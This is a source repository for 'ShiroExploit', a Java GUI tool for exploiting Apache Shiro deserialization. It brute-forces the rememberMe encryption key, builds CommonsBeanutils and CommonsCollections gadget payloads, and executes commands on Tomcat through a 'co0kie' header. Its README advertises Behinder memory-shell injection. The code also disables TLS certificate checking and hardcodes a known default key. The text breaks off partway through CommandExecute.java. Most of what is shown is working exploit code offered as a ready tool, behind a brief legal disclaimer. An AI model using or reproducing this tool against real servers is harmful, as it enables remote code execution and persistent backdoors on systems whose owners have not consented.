├── .gitignore
├── README.md
├── img
├── 1.png
└── 2.png
├── pom.xml
└── src
├── META-INF
└── MANIFEST.MF
├── main
├── java
│ ├── Main.java
│ ├── common
│ │ ├── CommonUtils.java
│ │ ├── HttpUtils.java
│ │ ├── PayloadEncrypt.java
│ │ └── SslUtils.java
│ ├── core
│ │ ├── CommandExecute.java
│ │ ├── GadgetCheck.java
│ │ ├── MemInject.java
│ │ └── ShiroKeyBrute.java
│ ├── entity
│ │ └── ControllersFactory.java
│ ├── javax
│ │ └── servlet
│ │ │ └── jsp
│ │ │ └── PageContext.java
│ ├── payloads
│ │ ├── CommonsBeanutils1.java
│ │ ├── CommonsBeanutils1_183.java
│ │ ├── CommonsCollections11.java
│ │ ├── CommonsCollectionsK1.java
│ │ ├── check
│ │ │ └── TomcatGadgetCheck.java
│ │ ├── echo
│ │ │ └── TomcatEcho.java
│ │ ├── memshell
│ │ │ └── Behinder
│ │ │ │ └── MemBehinder.java
│ │ └── util
│ │ │ ├── ClassFiles.java
│ │ │ ├── Gadgets.java
│ │ │ ├── Reflections.java
│ │ │ ├── Serializer.java
│ │ │ └── SuidClassLoader.java
│ └── ui
│ │ └── MyController.java
└── resources
│ ├── ShiroKeys.txt
│ ├── commons-beanutils-1.8.3.txt
│ ├── detect.txt
│ └── sample.fxml
└── test
└── java
└── demo.java
/.gitignore:
--------------------------------------------------------------------------------
1 | # Built application files
2 | .DS_Store
3 | *.apk
4 | *.ap_
5 | # Files for the Dalvik VM
6 | *.dex
7 | # Java class files
8 | *.class
9 | # Generated files
10 | bin/
11 | gen/
12 | out/
13 | target/
14 | # Gradle files
15 | .gradle/
16 | build/
17 | # Local configuration file (sdk path, etc)
18 | local.properties
19 | # Proguard folder generated by Eclipse
20 | proguard/
21 | # Log Files
22 | *.log
23 | # Android Studio Navigation editor temp files
24 | .navigation/
25 | # Android Studio captures folder
26 | captures/
27 | # Intellij
28 | *.iml
29 | # Keystore files
30 | *.jks
31 | .settings/
32 | .project
33 | .classpath
34 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ShiroExploit
2 | Shiro 可视化利用工具(beta
3 |
4 | ## 免责声明
5 | 该项目仅供合法的渗透测试以及爱好者参考学习,请各位遵守《中华人民共和国网络安全法》以及相应地方的法律,禁止使用该项目进行违法操作,否则自行承担相关责任
6 |
7 | ### 目前已实现:
8 | 1. 支持密钥爆破以及 CBC/GCM 两种加密模式
9 | 2. 可修改特征头,可进行 GET/POST 发包,可选择对应的 Content-Type
10 | 3. 支持检测利用链是否可用(Tomcat)
11 | 4. 支持命令执行回显(Tomcat)
12 | 5. 支持多版本 jar ,目前依赖中 CommonsBeanutils1 为 1.9.2 版本,CommonsBeanutils1_183 为 1.8.3 版本(后续会增加更多不同版本的利用链)
13 | 6. 支持 Payload 输出模式,开启后工具的 payload 都会进行输出
14 | 7. 冰蝎3内存马注入
15 | 8. 支持 http/socks 代理,在设置中可设置代理
16 | 9. 支持自定义 header 功能,因为有的场景下需要特定header才会回显 deleteMe ,否则会出现检测不到的情况,在设置中可进行自定义header
17 |
18 | ### 暂未实现
19 | 1. ~~冰蝎3内存马注入~~、哥斯拉内存马注入、reGeorg内存马注入
20 | 2. Weblogic组件部分利用
21 | 3. 特征修改
22 | 4. 文件上传功能
23 |
24 |
25 | 利用效果:
26 |
27 | 
28 |
29 | ### 参考
30 | 感谢前辈们的优秀文章和优秀项目
31 |
32 | 冰蝎: https://github.com/rebeyond/Behinder
33 |
34 | shiro_attack: https://github.com/j1anFen/shiro_attack
35 |
36 | 内存马注入思路: https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg
37 |
--------------------------------------------------------------------------------
/img/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bravery9/ShiroExploit/eb8da5040d48beeb3e9e7c4d015629996cd534b6/img/1.png
--------------------------------------------------------------------------------
/img/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bravery9/ShiroExploit/eb8da5040d48beeb3e9e7c4d015629996cd534b6/img/2.png
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | com.detect
8 | ShiroDetect
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 |
14 |
15 | org.apache.maven.plugins
16 | maven-assembly-plugin
17 |
18 |
19 |
20 | jar-with-dependencies
21 |
22 |
23 |
24 |
25 |
26 | ${project.name}
27 | Main
28 |
29 |
30 |
31 |
32 |
33 |
34 | make-assembly
35 | package
36 |
37 | single
38 |
39 |
40 |
41 |
42 |
43 | org.apache.maven.plugins
44 | maven-compiler-plugin
45 |
46 | 8
47 | 8
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 | commons-beanutils
59 | commons-beanutils
60 | 1.9.2
61 |
62 |
63 |
64 | org.apache.shiro
65 | shiro-core
66 | 1.2.4
67 |
68 |
69 |
70 | commons-collections
71 | commons-collections
72 | 3.1
73 |
74 |
75 |
76 |
77 | org.javassist
78 | javassist
79 | 3.27.0-GA
80 |
81 |
82 |
83 | net.bytebuddy
84 | byte-buddy
85 | 1.11.0
86 |
87 |
88 |
89 | commons-io
90 | commons-io
91 | 2.6
92 |
93 |
94 |
95 | org.apache.tomcat.embed
96 | tomcat-embed-core
97 | 9.0.46
98 |
99 |
100 |
101 |
--------------------------------------------------------------------------------
/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: Main
3 |
4 |
--------------------------------------------------------------------------------
/src/main/java/Main.java:
--------------------------------------------------------------------------------
1 | import javafx.application.Application;
2 | import javafx.fxml.FXMLLoader;
3 | import javafx.scene.Parent;
4 | import javafx.scene.Scene;
5 | import javafx.stage.Stage;
6 |
7 | /**
8 | * 未完成
9 | * shiro 存在校验的情况,即遇到302的时候如何进行校验
10 | * 代理设置 (分为sock和http这块需要单独处理,进行设置保存)
11 | * rememberMe 特征可修改(已实现)
12 | * SSL 校验问题 (已实现)
13 | * GCM 加密算法 (已实现,暂未校验)
14 | * 利用链检测 (已实现)通过获取回显的方式
15 | * Tomcat Echo (已实现)
16 | * 未做不同操作系统版本的适配
17 | * 内存马注入 (冰蝎已实现,但是细节问题需要弄清楚)
18 | * Weblogic 相关(还没研究
19 | * 特征可修改 (看心情
20 | */
21 |
22 | public class Main extends Application {
23 | // 启动代码
24 | @Override
25 | public void start(Stage primaryStage) throws Exception{
26 | // 文件位置不对
27 | Parent root = FXMLLoader.load(this.getClass().getResource("/sample.fxml"));
28 | primaryStage.setTitle("Shiro Exploit by: 天下大木头");
29 | primaryStage.setScene(new Scene(root));
30 | primaryStage.show();
31 | }
32 |
33 |
34 | public static void main(String[] args) {
35 | launch(args);
36 | }
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/src/main/java/common/CommonUtils.java:
--------------------------------------------------------------------------------
1 | package common;
2 |
3 | import entity.ControllersFactory;
4 |
5 | import java.io.ByteArrayOutputStream;
6 | import java.io.InputStream;
7 | import java.net.InetSocketAddress;
8 | import java.net.Proxy;
9 | import java.util.HashMap;
10 | import java.util.Map;
11 |
12 | public class CommonUtils {
13 |
14 | public static String normizePath(String path) throws Exception{
15 | if (path.startsWith("/")){
16 | return path.substring(1, path.length());
17 | } else {
18 | return path;
19 | }
20 | }
21 |
22 | public static String normizeUrl(String url) throws Exception {
23 | if (url.endsWith("/")){
24 | return url;
25 | } else {
26 | return url + "/";
27 | }
28 | }
29 |
30 | public static String md5(String s) {
31 | String ret = null;
32 | try {
33 | java.security.MessageDigest m;
34 | m = java.security.MessageDigest.getInstance("MD5");
35 | m.update(s.getBytes(), 0, s.length());
36 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
37 | } catch (Exception e) {}
38 | return ret.substring(0,16).toLowerCase();
39 | }
40 |
41 | public static String readStringFromInputStream(InputStream inputStream) throws Exception{
42 | StringBuilder stringBuilder = new StringBuilder("");
43 | byte[] bytes = new byte[1024];
44 | int n = 0;
45 | while ((n=inputStream.read(bytes)) != -1){
46 | stringBuilder.append(new String(bytes,0,n));
47 | }
48 | return stringBuilder.toString();
49 | }
50 |
51 |
52 | public static byte[] getDetectText() throws Exception{
53 | InputStream inputStream = HttpUtils.class.getClassLoader().getResourceAsStream("detect.txt");
54 | // 读取字节流还是用 ByteArrayOutputStream
55 | // 将数据读到 byteArrayOutputStream 中
56 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
57 | int n;
58 | while ((n=inputStream.read()) != -1){
59 | byteArrayOutputStream.write(n);
60 | }
61 | byte[] bytes = byteArrayOutputStream.toByteArray();
62 | return bytes;
63 | }
64 |
65 | public static Map normalProxy(Map paramContext) {
66 | String myProxy = paramContext.get("MyProxy");
67 | String host = myProxy.split(":")[0];
68 | String port = myProxy.split(":")[1];
69 | Map proxy = new HashMap<>();
70 | proxy.put("host",host);
71 | proxy.put("port", String.valueOf(port));
72 | return proxy;
73 | }
74 |
75 | public static void addHttpProxy(String host,int port){
76 | Proxy proxy = new Proxy(Proxy.Type.HTTP,new InetSocketAddress(host,port));
77 | ControllersFactory.currentProxy.put("Proxy", proxy);
78 | }
79 |
80 | public static void addSocksProxy(String host,int port){
81 | Proxy proxy = new Proxy(Proxy.Type.SOCKS,new InetSocketAddress(host,port));
82 | ControllersFactory.currentProxy.put("Proxy", proxy);
83 | }
84 |
85 | public static void clearCurrentProxy(){
86 | ControllersFactory.currentProxy.put("Proxy", null);
87 | }
88 |
89 | public static void main(String[] args) {
90 | String myProxy = "127.0.0.1:7890";
91 | String host = myProxy.split(":")[0];
92 | int port = Integer.parseInt(myProxy.split(":")[1]);
93 | System.out.println(host);
94 | System.out.println(port);
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/src/main/java/common/HttpUtils.java:
--------------------------------------------------------------------------------
1 | package common;
2 |
3 | import entity.ControllersFactory;
4 | import ui.MyController;
5 | import java.io.BufferedReader;
6 | import java.io.InputStream;
7 | import java.io.InputStreamReader;
8 | import java.io.OutputStream;
9 | import java.net.HttpURLConnection;
10 | import java.net.InetSocketAddress;
11 | import java.net.Proxy;
12 | import java.net.URL;
13 | import java.util.HashMap;
14 | import java.util.List;
15 | import java.util.Map;
16 |
17 | public class HttpUtils {
18 |
19 | final private MyController myController = (MyController) ControllersFactory.controllers.get(MyController.class.getSimpleName());
20 | final private Map paramContext = ControllersFactory.paramsContext;
21 |
22 | // 探测的时候检测 rememberMe=delteMe 的数量
23 | public boolean shiroDetectRequest(String method,String url) throws Exception {
24 | this.myController.result.appendText("[+] 目标地址: " + url + "\n");
25 | // 修改特征头
26 | String rememberMe = paramContext.get("rememberMe");
27 | String demoCookie = rememberMe+"=xxx"; // 探测用的 rememberMe
28 | // String demoCookie = "JSESSIONID=140424b7-bffb-44dd-9460-3042aa54ba56";
29 | Map> header = null;
30 | List setCookie = null;
31 | if (method.equals("GET")){
32 | header = this.sendGetRequest(url,demoCookie);
33 | } else if (method.equals("POST")){
34 | header = this.sendPostRequest(url,demoCookie,null);
35 | }
36 | if (header != null) {
37 | setCookie = header.get("Set-Cookie");
38 | if (setCookie != null && setCookie.toString().contains("=deleteMe")){
39 | // 如果返回头中有多个 deleteme
40 | if (setCookie.size() > 1){
41 | int index = 0;
42 | for (String value:setCookie){
43 | if (value.contains("=deleteMe")){
44 | index +=1;
45 | }
46 | }
47 | paramContext.put("Index", String.valueOf(index));
48 | }
49 |
50 | this.myController.result.appendText("[+] 检测到 Shiro 框架\n");
51 | return true;
52 | } else {
53 | this.myController.result.appendText("[!] 未检测到 Shiro 框架\n");
54 | return false;
55 | }
56 | } else {
57 | this.myController.result.appendText("[!] 没有发现 Header 头\n");
58 | return false;
59 | }
60 | }
61 |
62 | public boolean shiroKeyBruteRequest(String method,String url,String key) throws Exception{
63 | String rememberMe = paramContext.get("rememberMe");
64 | Map> header = null;
65 | List setCookie = null;
66 | String detectCookie = null;
67 | String encryptType = this.paramContext.get("Encrypt");
68 | // 这里做一个判断来区分是 gcm 的还是 aes cbc 的
69 | if (encryptType.equals("CBC")){
70 | detectCookie = rememberMe + "=" + PayloadEncrypt.AesCbcEncrypt(CommonUtils.getDetectText(),key);
71 | } else{
72 | detectCookie = rememberMe + "=" + PayloadEncrypt.AesGcmEncrypt(CommonUtils.getDetectText(),key);
73 | }
74 |
75 | if (method.equals("GET")){
76 | header = this.sendGetRequest(url,detectCookie);
77 | } else {
78 | header = this.sendPostRequest(url,detectCookie,null);
79 | }
80 |
81 | // 输出模式的情况下输出 payload
82 | if (paramContext.get("OutputType").equals("1")){
83 | this.myController.result.appendText("\nPayload输出模式:");
84 | this.myController.result.appendText("\nKey: " + key + "\nCookie: " + detectCookie + "\n\n");
85 | }
86 |
87 | int index = 0;
88 | if (paramContext.get("Index") != null){
89 | index = Integer.parseInt(paramContext.get("Index"));
90 | }
91 |
92 | if (header != null){
93 | setCookie = header.get("Set-Cookie");
94 | // 判断deleteme 的数量
95 | if (setCookie != null && index > 1){
96 | if (setCookie.size() >= 1){
97 | int size = 0;
98 | for (String value:setCookie){
99 | if (value.contains("=deleteMe")){
100 | size +=1;
101 | }
102 | }
103 | if (size < index){
104 | this.myController.result.appendText("[+] 密钥为: " + key + "\n\n");
105 | return true;
106 | }
107 | }
108 | }
109 |
110 | if (setCookie == null || !setCookie.toString().contains("=deleteMe")){
111 | this.myController.result.appendText("[+] 密钥为: " + key + "\n\n");
112 | return true;
113 | }
114 | } else {
115 | this.myController.result.appendText("[!] 没有获取到 Header 头,有可能频率过快导致连接断开 \n");
116 | return false;
117 | }
118 | return false;
119 | }
120 |
121 | public Map> sendCheckInject(String url, String cookie, String password) throws Exception{
122 | // 忽略 ssl 证书报错
123 | SslUtils.ignoreSsl();
124 | HttpURLConnection httpURLConnection = null;
125 | HttpURLConnection.setFollowRedirects(false);
126 | URL u = new URL(url);
127 | if (ControllersFactory.currentProxy.get("Proxy") != null){
128 | Proxy proxy = ControllersFactory.currentProxy.get("Proxy");
129 | httpURLConnection = (HttpURLConnection) u.openConnection(proxy);
130 | }else {
131 | httpURLConnection = (HttpURLConnection) u.openConnection();
132 | }
133 | httpURLConnection.setRequestMethod("GET");
134 | httpURLConnection.setConnectTimeout(5);
135 | httpURLConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36");
136 | httpURLConnection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
137 | httpURLConnection.setRequestProperty("Accept-Encoding", "gzip, deflate");
138 | httpURLConnection.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9");
139 | httpURLConnection.setRequestProperty("Connection", "close");
140 | if (cookie != null){
141 | httpURLConnection.addRequestProperty("Cookie",cookie);
142 | }
143 | if (ControllersFactory.paramsContext.get("CustomHeader") != null){
144 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){
145 | httpURLConnection.setRequestProperty(String.valueOf(entry.getKey()),String.valueOf(entry.getValue()));
146 | }
147 | }
148 | httpURLConnection.setRequestProperty("pass", password);
149 | Map> header = httpURLConnection.getHeaderFields();
150 | return header;
151 | }
152 |
153 | // Java get 发包
154 | public Map> sendGetRequest(String url, String cookie) throws Exception{
155 | Map myProxy = new HashMap<>();
156 | Map> header = null;
157 | // 忽略 ssl 证书报错
158 | SslUtils.ignoreSsl();
159 | HttpURLConnection httpURLConnection = null;
160 | HttpURLConnection.setFollowRedirects(false);
161 | URL u = new URL(url);
162 | try {
163 | if (ControllersFactory.currentProxy.get("Proxy") != null){
164 | Proxy proxy = ControllersFactory.currentProxy.get("Proxy");
165 | httpURLConnection = (HttpURLConnection) u.openConnection(proxy);
166 | }else {
167 | httpURLConnection = (HttpURLConnection) u.openConnection();
168 | }
169 | httpURLConnection.setRequestMethod("GET");
170 | httpURLConnection.setConnectTimeout(5);
171 | httpURLConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36");
172 | httpURLConnection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
173 | httpURLConnection.setRequestProperty("Accept-Encoding", "gzip, deflate");
174 | httpURLConnection.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9");
175 | httpURLConnection.setRequestProperty("Connection", "close");
176 | if (cookie != null){
177 | httpURLConnection.addRequestProperty("Cookie",cookie);
178 | }
179 | if (ControllersFactory.paramsContext.get("CustomHeader") != null){
180 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){
181 | httpURLConnection.setRequestProperty(String.valueOf(entry.getKey()),String.valueOf(entry.getValue()));
182 | }
183 | }
184 | header = httpURLConnection.getHeaderFields();
185 | return header;
186 | } catch (Exception e){
187 | return header;
188 | }
189 | }
190 |
191 | // java post 发包
192 | public Map> sendPostRequest(String url,String cookie,String postData) throws Exception {
193 | Map myProxy = new HashMap<>();
194 | Map> header = null;
195 | String param = null;
196 | if (postData == null){
197 | param = this.paramContext.get("PostParam");
198 | } else {
199 | param = postData;
200 | }
201 | // 忽略 ssl 证书报错
202 | SslUtils.ignoreSsl();
203 | HttpURLConnection httpURLConnection = null;
204 | HttpURLConnection.setFollowRedirects(false);
205 | URL u = new URL(url);
206 | try {
207 | if (ControllersFactory.currentProxy.get("Proxy") != null){
208 | Proxy proxy = ControllersFactory.currentProxy.get("Proxy");
209 | httpURLConnection = (HttpURLConnection) u.openConnection(proxy);
210 | }else {
211 | httpURLConnection = (HttpURLConnection) u.openConnection();
212 | }
213 | httpURLConnection.setRequestMethod("POST");
214 | if (ControllersFactory.paramsContext.get("CustomHeader") == null){
215 | httpURLConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36");
216 | httpURLConnection.setRequestProperty("content-type",this.paramContext.get("ContentType"));
217 | httpURLConnection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
218 | httpURLConnection.setRequestProperty("Accept-Encoding", "gzip, deflate");
219 | httpURLConnection.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9");
220 | httpURLConnection.setRequestProperty("Connection", "close");
221 | if (cookie != null){
222 | httpURLConnection.addRequestProperty("Cookie",cookie);
223 | }
224 | }else {
225 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){
226 | httpURLConnection.setRequestProperty(String.valueOf(entry.getKey()),String.valueOf(entry.getValue()));
227 | }
228 | }
229 | httpURLConnection.setConnectTimeout(5);
230 | httpURLConnection.setDoOutput(true);
231 | httpURLConnection.setDoInput(true);
232 |
233 | OutputStream outputStream = httpURLConnection.getOutputStream();
234 | outputStream.write(param.getBytes());
235 | outputStream.flush();
236 | outputStream.close();
237 | // 获取返回头信息
238 | header = httpURLConnection.getHeaderFields();
239 | return header;
240 | } catch (Exception e){
241 | return header;
242 | }
243 | }
244 |
245 |
246 | public String getGetRequestResponse(String url, String cookie,String cmd) throws Exception{
247 | Map myProxy = new HashMap<>();
248 | // 忽略 ssl 证书报错
249 | SslUtils.ignoreSsl();
250 | HttpURLConnection httpURLConnection = null;
251 | HttpURLConnection.setFollowRedirects(false);
252 | URL u = new URL(url);
253 |
254 | if (ControllersFactory.currentProxy.get("Proxy") != null){
255 | Proxy proxy = ControllersFactory.currentProxy.get("Proxy");
256 | httpURLConnection = (HttpURLConnection) u.openConnection(proxy);
257 | }else {
258 | httpURLConnection = (HttpURLConnection) u.openConnection();
259 | }
260 | httpURLConnection.setRequestMethod("GET");
261 | httpURLConnection.setConnectTimeout(5);
262 | httpURLConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36");
263 | httpURLConnection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
264 | httpURLConnection.setRequestProperty("Accept-Encoding", "gzip, deflate");
265 | httpURLConnection.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9");
266 | if (cmd != null){
267 | httpURLConnection.setRequestProperty("co0kie",cmd);
268 | }
269 | httpURLConnection.setRequestProperty("Connection", "close");
270 | if (cookie != null){
271 | httpURLConnection.addRequestProperty("Cookie",cookie);
272 | }
273 | if (ControllersFactory.paramsContext.get("CustomHeader") != null){
274 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){
275 | httpURLConnection.setRequestProperty(String.valueOf(entry.getKey()),String.valueOf(entry.getValue()));
276 | }
277 | }
278 | InputStream inputStream = httpURLConnection.getInputStream();
279 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
280 | String line = null;
281 | String resp = "";
282 | while ((line=bufferedReader.readLine()) != null){
283 | resp += line;
284 | resp += "\n";
285 | }
286 | return resp;
287 | }
288 |
289 | // java post 发包
290 | public String getPostRequestResponse(String url,String cookie,String cmd) throws Exception {
291 | Map myProxy = new HashMap<>();
292 | String param = this.paramContext.get("PostParam");
293 | // 忽略 ssl 证书报错
294 | SslUtils.ignoreSsl();
295 | HttpURLConnection httpURLConnection = null;
296 | HttpURLConnection.setFollowRedirects(false);
297 | URL u = new URL(url);
298 | if (ControllersFactory.currentProxy.get("Proxy") != null){
299 | // myProxy = CommonUtils.normalProxy(paramContext);
300 | // Proxy proxy = new Proxy(Proxy.Type.HTTP,new InetSocketAddress(myProxy.get("host"),Integer.valueOf(myProxy.get("port"))));
301 | Proxy proxy = ControllersFactory.currentProxy.get("Proxy");
302 | httpURLConnection = (HttpURLConnection) u.openConnection(proxy);
303 | }else {
304 | httpURLConnection = (HttpURLConnection) u.openConnection();
305 | }
306 | httpURLConnection.setRequestMethod("POST");
307 | httpURLConnection.setRequestProperty("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36");
308 | httpURLConnection.setRequestProperty("content-type",this.paramContext.get("ContentType"));
309 | httpURLConnection.setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
310 | httpURLConnection.setRequestProperty("Accept-Encoding", "gzip, deflate");
311 | httpURLConnection.setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9");
312 | if (cmd != null){
313 | httpURLConnection.setRequestProperty("co0kie",cmd);
314 | }
315 | httpURLConnection.setRequestProperty("Connection", "close");
316 | if (cookie != null){
317 | httpURLConnection.addRequestProperty("Cookie",cookie);
318 | }
319 | if (ControllersFactory.paramsContext.get("CustomHeader") != null){
320 | for (Map.Entry entry:ControllersFactory.currentHeader.entrySet()){
321 | httpURLConnection.setRequestProperty(String.valueOf(entry.getKey()),String.valueOf(entry.getValue()));
322 | }
323 | }
324 | httpURLConnection.setConnectTimeout(5);
325 | httpURLConnection.setDoOutput(true);
326 | httpURLConnection.setDoInput(true);
327 | OutputStream outputStream = httpURLConnection.getOutputStream();
328 | outputStream.write(param.getBytes());
329 | outputStream.flush();
330 | outputStream.close();
331 |
332 | InputStream inputStream = httpURLConnection.getInputStream();
333 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
334 | String line = null;
335 | String resp = "";
336 | while ((line=bufferedReader.readLine()) != null){
337 | resp += line;
338 | resp += "\n";
339 | }
340 | return resp;
341 | }
342 |
343 | }
344 |
--------------------------------------------------------------------------------
/src/main/java/common/PayloadEncrypt.java:
--------------------------------------------------------------------------------
1 | package common;
2 |
3 | import org.apache.shiro.codec.Base64;
4 | import org.apache.shiro.crypto.AesCipherService;
5 | import org.apache.shiro.util.ByteSource;
6 | import sun.misc.BASE64Decoder;
7 |
8 | import javax.crypto.Cipher;
9 | import javax.crypto.spec.IvParameterSpec;
10 | import javax.crypto.spec.SecretKeySpec;
11 | import java.io.ByteArrayOutputStream;
12 | import java.io.InputStream;
13 | import java.security.SecureRandom;
14 |
15 | public class PayloadEncrypt {
16 |
17 | // 暂未测试
18 | public static String AesGcmEncrypt(byte[] plainText,String key) throws Exception{
19 | byte[] k = new BASE64Decoder().decodeBuffer(key);
20 | AesCipherService aes = new AesCipherService();
21 | ByteSource initciphertext = aes.encrypt(plainText, k);
22 | return String.valueOf(initciphertext);
23 | }
24 |
25 |
26 | public static String AesCbcEncrypt(byte[] plainText,String key) throws Exception {
27 | byte[] k = new BASE64Decoder().decodeBuffer(key);
28 | byte[] ivBytes = new byte[16];
29 | SecureRandom random = new SecureRandom();
30 | random.nextBytes(ivBytes);
31 | IvParameterSpec ivParameterSpec = new IvParameterSpec(ivBytes);
32 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
33 | SecretKeySpec keySpec = new SecretKeySpec(k,"AES");
34 | cipher.init(1,keySpec,ivParameterSpec);
35 | byte[] payloadBytes = cipher.doFinal(plainText);
36 | byte[] output = new byte[ivBytes.length + payloadBytes.length];
37 | System.arraycopy(ivBytes, 0, output, 0, ivBytes.length);
38 | System.arraycopy(payloadBytes, 0, output, ivBytes.length, payloadBytes.length);
39 | String b64Payload = Base64.encodeToString(output);
40 | return b64Payload;
41 | }
42 |
43 | public static void main(String[] args) throws Exception {
44 | System.out.println(new PayloadEncrypt().AesCbcEncrypt(CommonUtils.getDetectText(),"kPH+bIxk5D2deZiIxcaaaA=="));
45 | }
46 |
47 |
48 | }
49 |
--------------------------------------------------------------------------------
/src/main/java/common/SslUtils.java:
--------------------------------------------------------------------------------
1 | package common;
2 |
3 | import java.security.cert.CertificateException;
4 | import java.security.cert.X509Certificate;
5 |
6 | import javax.net.ssl.HostnameVerifier;
7 | import javax.net.ssl.HttpsURLConnection;
8 | import javax.net.ssl.SSLContext;
9 | import javax.net.ssl.SSLSession;
10 | import javax.net.ssl.TrustManager;
11 | import javax.net.ssl.X509TrustManager;
12 |
13 | public class SslUtils {
14 | private static void trustAllHttpsCertificates() throws Exception {
15 | TrustManager[] trustAllCerts = new TrustManager[1];
16 | TrustManager tm = new miTM();
17 | trustAllCerts[0] = tm;
18 | SSLContext sc = SSLContext.getInstance("SSL");
19 | sc.init(null, trustAllCerts, null);
20 | HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
21 | }
22 |
23 | static class miTM implements TrustManager,X509TrustManager {
24 | public X509Certificate[] getAcceptedIssuers() {
25 | return null;
26 | }
27 |
28 | public boolean isServerTrusted(X509Certificate[] certs) {
29 | return true;
30 | }
31 |
32 | public boolean isClientTrusted(X509Certificate[] certs) {
33 | return true;
34 | }
35 |
36 | public void checkServerTrusted(X509Certificate[] certs, String authType)
37 | throws CertificateException {
38 | return;
39 | }
40 |
41 | public void checkClientTrusted(X509Certificate[] certs, String authType)
42 | throws CertificateException {
43 | return;
44 | }
45 | }
46 |
47 | /**
48 | * 忽略HTTPS请求的SSL证书,必须在openConnection之前调用
49 | * @throws Exception
50 | */
51 | public static void ignoreSsl() throws Exception{
52 | HostnameVerifier hv = new HostnameVerifier() {
53 | public boolean verify(String urlHostName, SSLSession session) {
54 | return true;
55 | }
56 | };
57 | trustAllHttpsCertificates();
58 | HttpsURLConnection.setDefaultHostnameVerifier(hv);
59 | }
60 | }
61 |
62 |
--------------------------------------------------------------------------------
/src/main/java/core/CommandExecute.java:
--------------------------------------------------------------------------------
1 | package core;
2 |
3 | import common.HttpUtils;
4 | import common.PayloadEncrypt;
5 | import entity.ControllersFactory;
6 | import payloads.echo.TomcatEcho;
7 | import payloads.util.Serializer;
8 | import ui.MyController;
9 | import java.lang.reflect.Method;
10 | import java.util.Map;
11 |
12 | public class CommandExecute {
13 | final private MyController myController = (MyController) ControllersFactory.controllers.get(MyController.class.getSimpleName());
14 | final private Map paramContext = ControllersFactory.paramsContext;
15 | final private Map successGadget = ControllersFactory.successGadget;
16 | private HttpUtils httpUtils = new HttpUtils();
17 |
18 | // final private Map loaderByte = ControllersFactory.loaderByte;
19 |
20 | public void tomcatCommandExecute(String gadget,String cmd) throws Exception {
21 | Class gadgetClass = successGadget.get(gadget);
22 | // 如果不为null的话,就返回对应利用链,利用反射调用他们的方法
23 | if (gadgetClass != null){
24 | String k = paramContext.get("ShiroKey");
25 | String url = paramContext.get("URL");
26 | String resp = null;
27 | String echoCookie = null;
28 | // 利用反射调用 getObject ,然后将 TomcatEcho 的 payload 作为参数进行传入,并对结果进行序列化
29 | Method getObject = gadgetClass.getDeclaredMethod("getObject",byte[].class);
30 | getObject.setAccessible(true);
31 | byte[] bytes = Serializer.serialize(getObject.invoke(gadgetClass.newInstance(), TomcatEcho.tomcatEchoPayload())); // 利用反射进行调用
32 |
33 | //交给 shiro 进行加密
34 | String encryptType = this.paramContext.get("Encrypt");
35 | if (encryptType.equals("CBC")){
36 | echoCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesCbcEncrypt(bytes,k);
37 | } else{
38 | echoCookie = paramContext.get("rememberMe") + "=" + PayloadEncrypt.AesGcmEncrypt(bytes,k);
39 | }
40 |
41 | // 执行的命令在 header 中 co0kie
42 | if (paramContext.get("Method").equals("GET")){
43 | resp = this.httpUtils.getGetRequestResponse(url,echoCookie,cmd);
44 | } else {
